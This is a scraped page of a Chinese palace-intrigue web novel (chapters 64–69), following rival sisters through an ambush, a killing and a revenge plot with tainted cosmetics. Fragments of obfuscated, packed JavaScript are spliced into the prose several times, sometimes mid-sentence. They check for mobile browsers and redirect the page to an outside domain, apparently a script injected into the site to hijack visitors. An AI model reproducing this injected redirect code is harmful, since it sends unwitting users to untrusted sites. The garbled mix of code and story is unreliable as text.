p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620086|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地拔出一把**,锋利的刀刃直指姜瑶真的面庞,眼看就要划了下去。 姜瑶真吓得花容失色,失声尖叫。 说时迟,那时快,姜姝宁袖中袖**骤然射出一支利箭,“嗖”的一声,正中歹徒头目的腰际。 剧烈的疼痛令歹徒手腕一偏,却没能完全避开,刀刃在姜瑶真的脸上划出一道血痕。 尖锐的疼痛袭来,姜瑶真捂住自己的脸颊,殷红的鲜血瞬间染红了她的手心。 “啊!啊!啊——”凄厉的哀嚎声响彻小巷。 姜姝宁毫不迟疑,再次射出第二箭,正中钳制姜天泽那名歹徒的胸膛。 姜天泽趁势出拳,将那歹徒击倒在地,而后夺过他手中的刀剑,与其余歹徒厮杀起来。 领头的歹徒眼见姜瑶真已破相,自己又受了伤,无心恋战。 他大吼一声:“撤!” 众歹徒闻言,慌不择路地夺路而逃。 姜姝宁见状,连忙对姜天泽喊道:“别让他们跑了!快拦住他们!” 姜天泽心思都在姜姝宁身上,转身疾步朝她而来:“大姐姐莫慌,适才我已经放倒了一个……” 他话音未落,就见姜瑶真猛地拔出头上的簪子,狠狠地刺入那名被姜天泽放倒在地的歹徒咽喉。 鲜血喷涌而出,溅在她脸上,更添几分狰狞可怖。 那歹徒挣扎了几下,便气绝身亡,死状惨烈。 “瑶真,你这是做什么?!”姜姝宁又惊又怒。 “他们划破了我的脸!难道不该死吗?”姜瑶真一扫方才的惊恐绝望,目光冰冷如刀,直直地落在姜天泽身上,“三弟,你方才为何故意唤我大姐姐?” 是姜天泽故意引导那群歹徒误认为她是姜姝宁,害她破相的! 他是罪魁祸首! 姜天泽一脸无辜地眨了眨眼:“二姐姐,实在对不住,方才我太过害怕,一时情急,口误了。” “你胡说!”姜瑶真气得浑身发抖,“你分明是故意的!” 姜天泽上前一步,用两人才听得到的声音道:“二姐姐,此刻你最该做的,是赶紧寻医问药,莫要让这伤痕坏了你的花容月貌。至于我为何口误……呵,难道不该怪你自己心思歹毒,招惹了这无妄之灾吗?” 姜瑶真从他眼中看到了毫不掩饰的讥讽与恶意,心中如坠冰窖。 姜天泽,他分明是站在姜姝宁那边的! 第65章 他才不想当她的弟弟! 第六十五章他才不想当她的弟弟! 马车很快便抵达了最近的医馆。 姜姝宁和姜天泽陪姜瑶真走入医馆,请大夫为她诊治脸上的伤痕。 “大夫,我这脸……可会留下疤痕?”姜瑶真泪眼婆娑,忧心忡忡地问道。 大夫仔细端详了她的伤口片刻,温言安慰道:“姑娘莫要担忧,伤口虽见血,却并不深,老夫开些生肌祛疤的良药,姑娘每日按时涂抹,不出几日便可痊愈,不会留下任何痕迹。” 闻言,姜瑶真悬着的心这才稍稍放下,但转而又嘤嘤哭泣起来,似是受了莫大的委屈。 姜天泽冷眼旁观,见她这副模样,心中只觉好笑,出言讥讽道:“原来二姐姐也这般在意自己的容貌啊!” 姜瑶真心中本就对姜天泽怨恨不已,此刻听他这阴阳怪气之语,更是怒火中烧:“三弟究竟想说什么?” 姜天泽缓缓逼近她,在她耳边阴恻恻地说道:“二姐姐,我只是想送你一句话——己所不欲,勿施于人!” 一股寒意瞬间从姜瑶真的脚底直窜头顶,令她如坠冰窟。 姜天泽果然知道今日这群歹徒是她找来对付姜姝宁的! 该死!定是三婶告诉他的! 这对母子身上明明流着南月人的血,却不帮她,简直可恶至极! 姜姝宁步出医馆,吩咐车夫老杨前去报官,自己则与姜夫人、姜天泽一同上了马车等候姜瑶真。 姜夫人仍心有余悸:“今日多亏宁儿你随身带着袖**,这才及时制止了那歹徒。若是真让他伤了真儿的容貌,那可如何是好!” 姜天泽低声道:“大姐姐还是太心慈手软了。” 他心中暗道:若没有用袖**阻止那个混混就好了,让姜瑶真彻底毁了容,那才叫真正的自作自受! 姜姝宁瞥了他一眼,随即对姜夫人柔声道:“母亲,您且去看看瑶真吧,想来她此刻定然惊魂未定。” “也好。”姜夫人应了一声,便下了马车,转身进了医馆。 待姜夫人走后,姜姝宁转头看向姜天泽,正欲开口询问,却见他忽然将头轻轻靠在了她的肩上,一副惊魂未定、楚楚可怜的模样:“方才多亏了大姐姐,否则真不知该如何脱身。” 姜姝宁想起方才她射出袖**之后,姜天泽对付那群歹徒时狠辣凌厉的身手,与此刻依偎在她肩头的柔弱模样判若两人。 “三弟,你可是早就料到会有人对我不利,所以才故意唤瑶真为‘大姐姐’的?” 姜天泽声音低柔,极具迷惑性:“大姐姐,我方才已经说过,只是因为太过害怕,一时口误罢了。” “天泽。”姜姝宁轻轻将他的头从肩上挪开,目光灼灼地盯着他的双眼,神色认真,“看着我的眼睛,告诉我实话。今日之事,幕后主使之人,可是瑶真?” 姜瑶真方才那般急于灭口,让她想不怀疑都难。 姜天泽与她对视片刻,终是缓缓地点了点头:“是。” “果然如此!”姜姝宁深吸一口气,强压下心中的怒火,继续追问道:“你是如何知晓的?” 姜天泽并未回答她的问题,而是再一次将头靠在了她的肩上。 这一次,他正对着她,如同拥抱一般,紧紧地贴着她。 少女的幽香萦绕在他鼻息间,他闭上眼睛,贪婪将这个气息深深吸进肺腑里。 姜姝宁下意识地想要推开他,却被他的声音打断:“大姐姐,这并不重要。你只需记住,无论何时何地,我都会站在你这一边,绝不会让任何人伤害你。” 姜姝宁闻言,心头一震,随即漾起一抹暖意。 不久前痛失兄长,她一度以为此生再无人庇佑,而如今,她竟从姜天泽身上感受到了弥足珍贵的手足之情。 “好,我不再追问了。”她柔声道,“你我既是姐弟,你自然会护着我。” 姜天泽没有说话,眼底却暗流涌动。 他才不想当她的弟弟! —— 相府的西院花厅里,凌芜猛地睁开双眼,正对上姜三夫人那张笑盈盈的脸庞。 “三夫人?”凌芜茫然又惊愕,“奴婢怎会在此?” 姜三夫人笑容可掬,语气温和:“凌芜姑娘想是练武太过操劳,方才睡了过去。无妨,习武之人也需适当休憩,莫要累坏了身子。” 然而,这番看似关切的话语却令凌芜心中掀起惊涛骇浪,一股难以言喻的恐惧瞬间蔓延至四肢百骸。 她自幼习武,即便再疲惫困倦,也时刻保持着警惕,绝不可能无缘无故地昏睡过去。 唯一的解释便是——她被人下了迷药! 是了!定是眼前的南月毒师算计了她! 可她的目的是什么? “大小姐!”一个可怕的念头掠过心头,凌芜心顾不得礼数,起身便朝翠竹院奔去,心脏在胸腔中剧烈地跳动着。 大小姐,您千万不能有事啊! 才到翠竹院门口,便与刚回来的姜姝宁迎面相遇。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620087|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “大小姐!”凌芜激动地上前,仔仔细细地打量着她,急切地问道:“您没事吧?” 姜姝宁脸上还带着劫后余生的庆幸:“凌芜,方才我与母亲、三弟他们一同外出采买年货,险些遇险。幸而有三弟在,我和母亲都安然无恙。” 她将今日发生的事情一五一十地告诉了凌芜,包括姜瑶真设计陷害她,却阴差阳错自食恶果,被歹徒划伤了脸颊。 凌芜听得心惊肉跳,后怕不已。 没想到,在她被南月毒师迷晕的这段时间里,大小姐竟然经历了如此惊险的变故。 若非姜天泽故意唤错她们姐妹的称呼,此刻被划伤容貌的,便是大小姐了! “大小姐,您今日定是受惊了,还是快些回房歇息吧。”凌芜提议道。 姜姝宁经历了这番惊心动魄的遭遇,的确是身心俱疲。 她回到房间,躺在床上,半阖着眼眸,低声呢喃道:“才一日没让你陪在身边,便发生了这样的事情。下次,无论如何都要你陪着……” 凌芜知道,不是姜姝宁不让她跟随,而是有人故意支开了她! 她走出房间,对守在门外的夏蝉吩咐道:“我有些私事需要外出处理,若是大小姐问起,便说我京城的亲戚有事,我前去帮忙了。” 夏蝉问道:“凌芜姐姐,那你何时回来?” “快则一两个时辰,慢则……”凌芜神色黯然,没有将后半句话说出口。 慢则,一辈子都回不来了。 她是个孤女。 十二岁那年,父亲惨遭当地恶霸毒手。 为了替父报仇,她将自己的命卖给四皇子,甘愿成为一名死士,只求能手刃仇敌。 四皇子信守承诺,不仅帮她找到杀父仇人,更当着她的面,将那恶徒千刀万剐。 四皇子说得对,仇人临死前的哀嚎,便是这世间最动听的乐曲。 亲眼目睹仇敌在自己面前痛苦地死去,凌芜感受到了一种以暴制暴的快意。 她刻苦习武,日夜操练,终于在短短五年内脱颖而出,成为一名技艺超群的暗卫。 也因此,她被四皇子选中,安排在姜姝宁身边,成为大小姐的贴身护卫。 此次姜姝宁遇险,是她失职,给了南月毒师可乘之机。 身为死士,完不成任务便唯有死路一条,这是她无法逃脱的宿命。 她的主子四皇子,也并非仁慈之主。 此番她回宫,是复命,也是去赴死。 第66章 格外宽容 第六十六章格外宽容 “你说南月毒师迷晕你,就是为了不让你跟着姜姑娘一同出去?”萧凌川居高临下地看着跪在自己跟前的凌芜,神色冰冷如霜。 “是!凌芜失职,致使大小姐身陷险境,恳请殿下责罚!”凌芜将额头紧紧贴在地面上,声音颤抖。 “姜瑶真派去的匪徒并未得逞,反倒伤了自己,而姜姑娘被姜天泽所救。你觉得,他们究竟意欲何为?”萧凌川的语气中带着一丝探究。 凌芜思忖片刻,试探性地开口:“凌芜斗胆猜测,南月毒师母子此举,是为了博取大小姐的信任。” “信任?”萧凌川剑眉微蹙,“姜天泽身为相府唯一的继承人,何须如此大费周章地讨好姜姑娘,取得她的信任?此事恐怕另有隐情。” “这……凌芜愚钝,实在猜不出三少爷的意图。” 萧凌川沉默片刻,复又开口:“你那日让凌风带来的那些粉末,已经查明,是一种极其罕见的**。少量服用,会使人浑身发热、昏厥,状似高热。这毒,南月毒师究竟用在了何人身上?” 凌芜闻言一怔,脑海中突然浮现出那日姜姝宁从宫中回府后,夏蝉告知她姜天泽病倒的情景。 当时的姜天泽,可不正是这般症状? “回殿下,南月毒师将此毒用在了三少爷身上!”凌芜语气肯定。 “用在她自己的亲生儿子身上?”萧凌川眼中闪过一丝疑惑,“为何?难道他们母子二人不睦?” “南月毒师对其子向来疼爱有加,绝无不睦之说。那日三少爷病倒,大小姐忧心忡忡,亲自留宿照料。凌芜总觉得……”凌芜顿了顿,斟酌着用词,缓缓说道:“总觉得三少爷……似乎心智尚未成熟,举止间颇有些……向大小姐撒娇之意?”萧凌川眉头紧锁,陷入沉思。 前世他与姜家鲜少往来,除了姜丞相一家,姜姝宁的叔伯们皆远在徐州,因此他对这位前世的小舅子并不了解。 一个年仅十五的少年,有母亲疼爱,为何偏偏对长姐如此依恋,举止亲昵? 他思忖片刻,一个猜测逐渐浮出水面。 “这姜天泽,恐怕是故意营造出一种拥护姜姑娘的假象,好让她放松警惕,不会怀疑他与姜瑶真暗中勾结!” 此言一出,一旁的凌风立刻附和道:“殿下英明!姜瑶真的母亲是南月细作,姜天泽的母亲亦是南月人,她们私下必有往来。姜天泽如今刻意亲近大小姐,甚至不惜破坏姜瑶真的毒计,就是为了让大小姐对他卸下防备,误以为他是站在她这边的!小小年纪,没想到竟有如此深的城府!” 凌芜觉得姜天泽对姜姝宁的亲近并非伪装,但见萧凌川如此笃定,便将到了嘴边的话又咽了回去。 萧凌川微微颔首,看向凌芜:“既如此,你日后便寸步不离地守护在姜姑娘身边,谨防她被姜天泽和姜瑶真联手算计!” 凌芜闻言一怔,殿下这是不打算追究她今日的失职了? “殿下……” 她正欲开口提醒,却被凌风打断:“殿下既已给你安排了新的任务,还不速速回相府?若是大小姐有事寻你却找不到,殿下定不轻饶!” 凌芜抬眸望向凌风,只见他正拼命地向自己使眼色。 他们一起为四皇子卖命,算得上同僚。 想来他也不希望自己有事。 她连忙叩首领命:“是,殿下!凌芜定当竭尽全力,不负殿下重托!” 她起身欲退,却又被萧凌川叫住:“慢着!” 凌芜心中一紧,该来的终究还是来了。 “你此次行事的确失职,理应受罚。”萧凌川语气浅淡,“罚你明日酉时之前,带一盅姝宁亲手做的羊肉汤来,切记,不许放姜葱蒜!” 凌芜诧异地抬眸看了萧凌川一眼,随即迅速垂下眼帘,恭声应道:“是,殿下!” 凌芜退下后,萧凌川注意到凌风的目光一直停留在自己身上。 “为何如此看着我?”他语气淡淡,听不出喜怒。 凌风连忙收回视线,恭敬道:“属下方才担心殿下会重罚凌芜。” 他们殿下可不是什么心慈手软的人,凌芜今日竟能全须全尾离开,简直就是奇迹。 “如何重罚?取她性命?还是废她手脚?然后再费尽心思另派人手安插在姜姑娘身边?”萧凌川没好气道,“不过是嫌麻烦罢了。若是你们犯了这等低级错误,我定不轻饶!” “属下谨记!”凌风躬身应道,嘴角却不自觉地微微上扬。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620088|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 殿下对姜大小姐身边的人,果然格外宽容。 若是将来大小姐能嫁给殿下,有她在,殿下对下属的态度想必也会温和许多吧。 —— 一夜好眠,姜姝宁醒来时只觉神清气爽。 凌芜侍奉她用早膳,目不转睛地看着她:“奴婢还以为,大小姐昨日经历了那般惊险之事,夜里定会噩梦缠身。” 姜姝宁轻笑一声:“姜瑶真昨日杀了人,她都能安然入睡,我又为何不能?” 她忽然发现,从前竟从未真正认清姜瑶真。 她何止是口蜜腹剑、不择手段,更是心狠手辣,令人不寒而栗。 想要对付她,就必须比她更狠,否则只会败在她手中。 凌芜想起昨日萧凌川的嘱咐,故作幽怨地叹了口气:“可凌芜,昨夜一夜都没睡好。” 姜姝宁用膳的动作一顿,关切地问:“凌芜,你怎么了?” “奴婢一想起大小姐昨日身陷险境,便心有余悸。大小姐怎能不叫上奴婢便独自出门?您从前明明答应过奴婢,出门一定会带上奴婢,不让奴婢担心的!”凌芜语气中带着一丝委屈。 “对不起,凌芜,是我思虑不周。”姜姝宁拉起她的手,柔声安抚,“我补偿你,可好?你想要什么,只要我能办到,一定满足你!” “当真?”凌芜眼中闪过一丝欣喜,“那奴婢斗胆,请大小姐亲手为奴婢做一盅羊肉汤!” “好啊,这天寒地冻的,喝羊肉汤最合适不过了!我今日便做一锅,让府里上下都尝尝!”姜姝宁笑盈盈地说道,“羊肉汤里放些姜,最是温补驱寒!” “大小姐,奴婢不喜姜,葱蒜也不要!”凌芜连忙说道。 “你也不吃姜葱蒜啊?”姜姝宁略带惋惜,“那真是可惜了。不过,我可以单独为你做一份不放姜葱蒜的。” “多谢大小姐!”凌芜感动不已。 他们家大小姐不仅心地善良,厨艺还相当精湛,简直是个完美的正妻之选。 从前她觉得姜姝宁一个相府嫡女嫁给四皇子是高攀了,如今却越发觉得,倘若大小姐有朝一日愿意嫁给四皇子,那必定是殿下前世修来的福分! 四皇子前世……应该有修福分吧? 第67章 偷脂粉,自毁容貌 第六十七章偷脂粉,自毁容貌 距离梅花宴仅剩两日。 姜瑶真对着铜镜顾影自怜,脸上那道尚未痊愈的伤疤,盘踞在她原本姣好的面容上,即便用脂粉也难以遮掩。 这让一向以美貌自诩的姜瑶真如何能够忍受? “我这幅模样,如何去见三皇子殿下?”她怒不可遏,一把将桌上的胭脂水粉扫落在地。 一旁的春花小心翼翼地提议道:“奴婢听说太后娘娘先前将北陵进贡的脂粉赏赐给了大小姐,据说那脂粉质地轻薄,遮瑕效果极佳。不如……不如奴婢去向大小姐讨要一些?” 北陵女子五官虽不甚精致,却以肌肤胜雪闻名,这都得益于她们盛产的脂粉。 若是能够得到那北陵脂粉,或许就能遮盖住她脸上的伤疤,让她在两日后的梅花宴上重现光彩。 “那你还不快去!”姜瑶真仿佛抓住了救命稻草,催促道,“快去求姐姐将那北陵脂粉给我!” “是,二小姐。”春花领命,匆匆赶往姜姝宁的翠竹院。 然而,春花提出的请求却被姜姝宁一口回绝。 凌芜更是毫不留情地将她挡在了门外:“二小姐派人刺杀大小姐,结果作茧自缚,反倒伤了自己,如今竟还有脸来讨要脂粉?你们绮丽院的人,脸皮究竟有多厚?简直可以拿来筑城墙了!” 春花被这番话羞得面红耳赤:“凌芜姑娘休要血口喷人!官府至今未曾抓到刺客,你凭什么说是我们二小姐指使的?” “能说出真相的刺客,不是被你家二小姐用簪子灭口了吗?好一个**灭口!”春花讨了个没趣,只能灰溜溜地返回绮丽院。 凌芜回到房中,对姜姝宁道:“大小姐,奴婢已经将那春花打发走了。二小姐真是厚颜无耻,派人行刺您不成,反倒还有脸来讨要东西!” 姜姝宁神色浅淡:“凌芜,将太后赏赐的那盒北陵脂粉取来,放在梳妆台上最显眼的位置。” “是。” 凌芜依言照做,将脂粉盒摆放在梳妆台上。 姜姝宁起身,吩咐道:“我们出去走走,不必关窗。你吩咐夏蝉,若是有人偷偷进我屋里,不必声张,只当没看见,等她离开便是。” 凌芜不解:“大小姐,您这是何意?” 姜姝宁唇角勾起一抹冷笑:“我那妹妹岂是轻易善罢甘休之人?她定会想尽一切办法得到这盒脂粉。既如此,我这个做姐姐的,又怎能让她失望?” 凌芜恍然大悟:“大小姐是想在脂粉里动手脚?不如加些辣椒粉进去,保管让她脸肿得像猪头!” “不必了,这脂粉里有比辣椒更厉害的东西。” 前世六皇子生母蒋贵妃脸上生了疹子,为了遮掩,便使用了北陵进贡的脂粉。 谁知,这脂粉非但没有遮盖住疹子,反而使得她整张脸溃烂不堪。 皇帝震怒,下令彻查,这才发现,所有来自北陵的脂粉中都含有一种特殊的粉末。 这种粉末能让肌肤白皙细腻,但一旦接触到破损的肌肤,便会侵蚀伤口,造成溃烂。 由于北陵脂粉皆为贡品,寻常百姓难以接触,若非蒋贵妃用了之后出现异常,根本无人知晓这脂粉竟如此危险。 姜姝宁当初收到太后赏赐时,就从未想过要使用这脂粉。 既然姜瑶真非要用,那便给她好了。 她那么喜欢毁人容貌,那便让她也尝尝容貌被毁的滋味! 绮丽院内,姜瑶真正对着侍女春花大发雷霆。 “她不肯给,你就不会想办法吗?真是蠢笨如猪!留你何用!不如让母亲把你发卖了算了!” 春花一听“发卖”二字,吓得魂飞魄散,连忙跪在地上拼命磕头。 “二小姐饶命!不要卖了奴婢,奴婢愿为二小姐做任何事!” “好,那你去姐姐房里,将那北陵脂粉偷来!”姜瑶真冷声吩咐。 春花心中虽有不愿,可对上姜瑶真那冷若冰霜的面容,不敢有丝毫违逆,只得应下:“是,二小姐。” 她偷偷摸摸地来到翠竹院,发现姜姝宁的房中空无一人,就连走廊上也静悄悄的。 她于是大着胆子翻窗进屋,在梳妆台上最显眼的位置找到了那盒脂粉,随后又原路返回。 一切顺利得不可思议。 姜瑶真拿到脂粉,迫不及待地涂抹在脸上。 果然,才涂了薄薄一层,那道碍眼的疤痕瞬间被遮盖得严严实实,肌肤也显得白皙透亮,宛若凝脂。 “果然是北陵脂粉!真是妙不可言!”姜瑶真对着镜子左看右看,满意至极。 涂了这脂粉,她定能在梅花宴上艳压群芳,成为全场焦点!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620089|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 翌日清晨,姜瑶真觉得脸上伤口处有些瘙痒。 她对着镜子一照,顿时吓得魂飞魄散——原本的伤口不仅红肿不堪,周围更是长满了流脓的可怕疙瘩,狰狞可怖。 “春花!春花!”姜瑶真几乎快要哭出来,“你快看看我的脸,怎么会变成这样?” 春花看到姜瑶真此刻的惨状,也是吓了一跳:“二小姐,您昨日是不是吃了什么不该吃的东西?” “没有啊!这几日我连荤腥都不敢沾,就怕这疤痕好不了。怎么会……”姜瑶真忽然想到了什么,咬牙切齿地说道,“是那盒北陵脂粉!一定是姐姐在里面下了毒!” “这……奴婢这就去告诉老爷!”春花义愤填膺。 “不行!”姜瑶真一把拉住春花,“那脂粉是我们从她房里偷来的,若是闹到父亲那里,定会被她倒打一耙,说不定还会反咬我们一个**的罪名!” “那……二小姐,您打算怎么办?”春花焦急地问道。 姜瑶真看着镜子中面目全非的自己,眼神阴鸷:“姜姝宁不就是想阻止我去参加梅花宴吗?我偏要去!我要让她知道,我才是宴会上众星捧月的存在!” 梅花宴当日,姜姝宁带着凌芜先上了马车。 片刻之后,姜瑶真身穿一袭红裙,脸上戴着红色薄纱,与春花一同上了马车。 姜姝宁似笑非笑地看着她:“妹妹今日这身装扮,当真是别出心裁,令人眼前一亮。” “多谢姐姐夸奖。”姜瑶真眼波流转,“待会儿的梅花宴上,我准备献上一支舞蹈,如此盛装打扮,未免太过夺目,怕是会抢了姐姐的风头。姐姐应该不会介意吧?” 凌芜闻言,险些翻了个白眼。 二小姐未免也太过自负了! “自然不会。”姜姝宁笑容依旧温婉,她微微俯身,凑近姜瑶真耳边低声道,“我的光芒,岂是你这种人可以轻易夺走的?妹妹,我劝你还是安分些好,否则下次,可就不只是烂脸这般简单了。” 姜瑶真闻言,脸色骤变,眼中闪过一丝狰狞。 果然是姜姝宁!是她在那盒北陵脂粉里下了毒,企图毁了她的容貌! 她平日里那副温婉端庄的模样,都是装出来的! “姐姐,走着瞧!”姜瑶真冷冷看着她,“今日,看谁能笑到最后!” 第68章 她的光芒,无法夺走 第六十八章她的光芒,无法夺走 姜姝宁本就无意与姜瑶真争锋,但听她如此自信笃定,心中也不免生出几分好奇,想瞧瞧她究竟要在梅花宴上如何惊艳四座。 马车缓缓抵达宫门,一众世家贵女鱼贯而入,前往梅园赴宴。 梅园内,傲雪寒梅正值盛放,雪后初晴,阳光洒落枝头,美不胜收。 贵女们依次落座,举止优雅,谈笑晏晏。 宴席上的菜肴也颇具巧思,皆与梅花相关,梅花汤饼,梅子焖肉,红梅虾仁,色香味俱全,令人垂涎欲滴。 更有梅花元宝茶、梅花酒等饮品,无不体现出太后对梅花的喜爱以及对美食的考究。 姜姝宁暗自庆幸,自己今日准备的礼物,倒是正合太后心意。 太后在几位皇子的簇拥下,缓缓步入梅园。 贵女们按捺住心中的雀跃,目光灼灼地注视着他们。 待太后走近,众人纷纷起身,恭敬行礼:“臣女见过太后娘娘,见过诸位皇子!” “都免礼吧。”太后笑容慈祥,径直走到姜姝宁面前,亲热地握住她的手,“姜姑娘,许久未见,哀家甚是想念!你上次给哀家的那副祛痰的方子,哀家每日都让御膳房的人做来吃,如今哀家这咳嗽的毛病,可是好了许多!” 姜瑶真见状,心中妒火中烧。 明明自己才是太后的准孙媳,可太后对姜姝宁的亲昵程度,却远胜于她。 姜姝宁的光芒,自己当真无法夺走? 姜姝宁莞尔一笑:“能为太后分忧解难,是臣女的荣幸。只是臣女家中近日接连遭逢变故,不便入宫请安,还望太后见谅。” “哀家并非拘泥于繁文缛节之人,不必多礼。”太后目光落在姜姝宁身上,又意味深长地瞥了一眼萧凌川,“况且,你虽未至慈宁宫,却也去了该去之处,哀家心中甚慰啊。” 萧凌川深邃的目光落在姜姝宁身上。 她今日穿着珍珠白的衣裙,素雅又端庄,衬得发墨肤白,脸色红润。 无论何时,她总能将素净的衣裙穿得清丽脱俗。 姜姝宁被他看得面红耳赤。 她这段时日频繁入宫,确实是为了见萧凌川,也难怪太后会对他们二人的关系有所误会。 三皇子萧修湛见状,故意凑到五皇子萧怀瑾耳边,低语道:“看来皇祖母属意姜姑娘成为四皇子妃啊。瞧瞧,她老人家都在打趣四弟和姜姑娘了。” 萧怀瑾闻言,脸色微沉,语气中带着一丝不悦:“三哥莫要胡言乱语,皇祖母并非此意!” 萧修湛见他如此反应,唇角勾起一抹嘲讽的弧度。 区区一个姜姝宁,便能将两位皇子**于股掌之间,果然是个祸水红颜。 有她在,四弟五弟的关系怕是好不了了! 于他而言,也是好事。 太后见姜姝宁不说话,便知她是女儿家脸皮薄,害羞了,于是笑着转移了话题:“姜姑娘,你手中这食盒里装的,可是给哀家的?” 姜姝宁这才笑着道:“正是。臣女听闻太后娘娘喜食甜食,便亲手做了一些蜜饯,以冰糖蜂蜜熬制糖浆,又添了些自制的甘草,有清肺止咳之效。太后娘娘闲暇之时,可以品尝一二。” 太后身边的嬷嬷闻言,笑得合不拢嘴:“姜姑娘真是心思灵巧,太后娘娘就好这一口甜食,明明知道自己嗓子易生痰,却怎么也戒不掉糕点。每次太后娘娘咳嗽,老奴这心里就跟着难受。如今有了姜姑娘这蜜饯,老奴再也不用担心太后娘娘的咳嗽了。” 太后亦是笑容满面:“哀家别的爱好没有,就喜欢吃些甜食。没想到姝宁如此贴心,真是有心了。将来谁若是能娶到姝宁,真是三生有幸啊!” 说罢,又意味深长地看了一眼萧凌川。 像是在说:这么好的孙媳妇,你怎么不赶紧娶了? 萧凌川迎上太后的目光,报以一笑,心中却泛起一丝苦涩。 他自然知道姜姝宁有多贤惠温柔。 前世他娶她为妻,她每日钻研的,便是如何用食补为他调理身体。 可惜造化弄人,他终究是错失了她。 如今重活一世,她却对他避之不及,不愿再嫁给他为妻。 太后话音刚落,姜姝宁便觉察到无数道嫉妒的目光向她投射而来。 参加梅花宴的都是名门闺秀,个个在家中娇生惯养,众星捧月,如今却被她抢尽风头,心中自然是不满的。 今生萧凌川得太后提携,又颇受皇帝赏识,俨然已成为京城贵女们心中的如意郎君。 太后有意撮合她和萧凌川,这无形中,也让她成为众矢之的。 正当姜姝宁思忖着如何低调避嫌之时,一旁的姜瑶真按捺不住,上前盈盈一拜:“太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620090|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后娘娘,臣女今日也备了一份薄礼,想献给太后娘娘。” 太后这才注意到姜瑶真,见她面覆薄纱,不禁疑惑道:“这位是……” “回太后娘娘,臣女是姜瑶真,相府次嫡女。”姜瑶真语气中带着一丝得意,“臣女这身打扮,是为了待会儿给太后娘娘献上一支舞蹈。” 太后这才恍然大悟,含笑点头:“甚好,甚好啊!” 一旁的准太子妃顾晚樱见状,掩唇轻笑,语气中带着一丝嘲讽:“你姐姐送太后娘娘止咳化痰的蜜饯,倒也合情合理。你送太后娘娘一支舞蹈?怕不是醉翁之意不在酒,是为了博人眼球吧?今日可是宫宴,你戴着面纱前来,未免也太过失礼了。” “晚樱姐姐空手来赴宫宴,也好意思恶意揣摩我的心意,真是可笑至极!”姜瑶真也不示弱,反唇相讥。 “你!”顾晚樱怒了,狠狠瞪着她。 眼见二人之间**味渐浓,太后连忙出来打圆场,笑着拉起她们的手,温言道:“只要你们来,哀家就欢喜。送不送礼,都是次要的。” 顾晚樱和姜瑶真这才敛去怒容,低头行礼,恢复了大家闺秀的温婉娴静。 太后和众皇子回到席位,唯独三皇子萧修湛没走,目光灼灼地落在姜瑶真身上。 他想起那日,她一袭红衣,翩然起舞,周身萦绕着奇异的幽香,不禁心神荡漾。 他俯身靠近姜瑶真,在她耳边低语,嗓音暗哑:“你当真要在宴会上献舞?若是让旁人嗅到你这勾魂摄魄的异香,本皇子可是会吃醋的。” 姜瑶真并未服用凝香丸,自然不会散发任何异香。 她不愿让萧修湛知晓此事,只娇羞地垂下眼帘,低声回应:“殿下放心,这宫殿如此宽敞,臣女身上的气息不会轻易被人察觉的。” “如此甚好。”萧修湛靠近她,贪婪地深吸一口气,“待你日后嫁入皇子府,便日日为我跳这香艳绝伦的舞蹈,也好让我一饱眼福。” 姜瑶真心头叫苦不迭。 若是日日跳舞,岂不是要日日服用凝香丸? 可如今她身中萧凌川的毒,若是再服用凝香丸,恐怕会加速毒发。 她暗暗咬牙,心中对萧凌川的恨意又多了几分:可恶的萧凌川,我定要除掉你! 正当此时,殿外传来内侍高亢的通传声:“皇上驾到——熙贵妃娘娘驾到——” 第69章 与女支子跳同一支舞 第六十九章与女支子跳同一支舞 殿内众人齐刷刷跪地行礼,山呼海啸般的声音响彻大殿:“参见陛下,陛下万岁万岁万万岁!熙贵妃娘娘万福金安!” 皇帝携着熙贵妃,缓步步入宴会大厅。 他身着明黄色龙袍,龙袍上金龙盘踞,熠熠生辉,尽显帝王威仪。 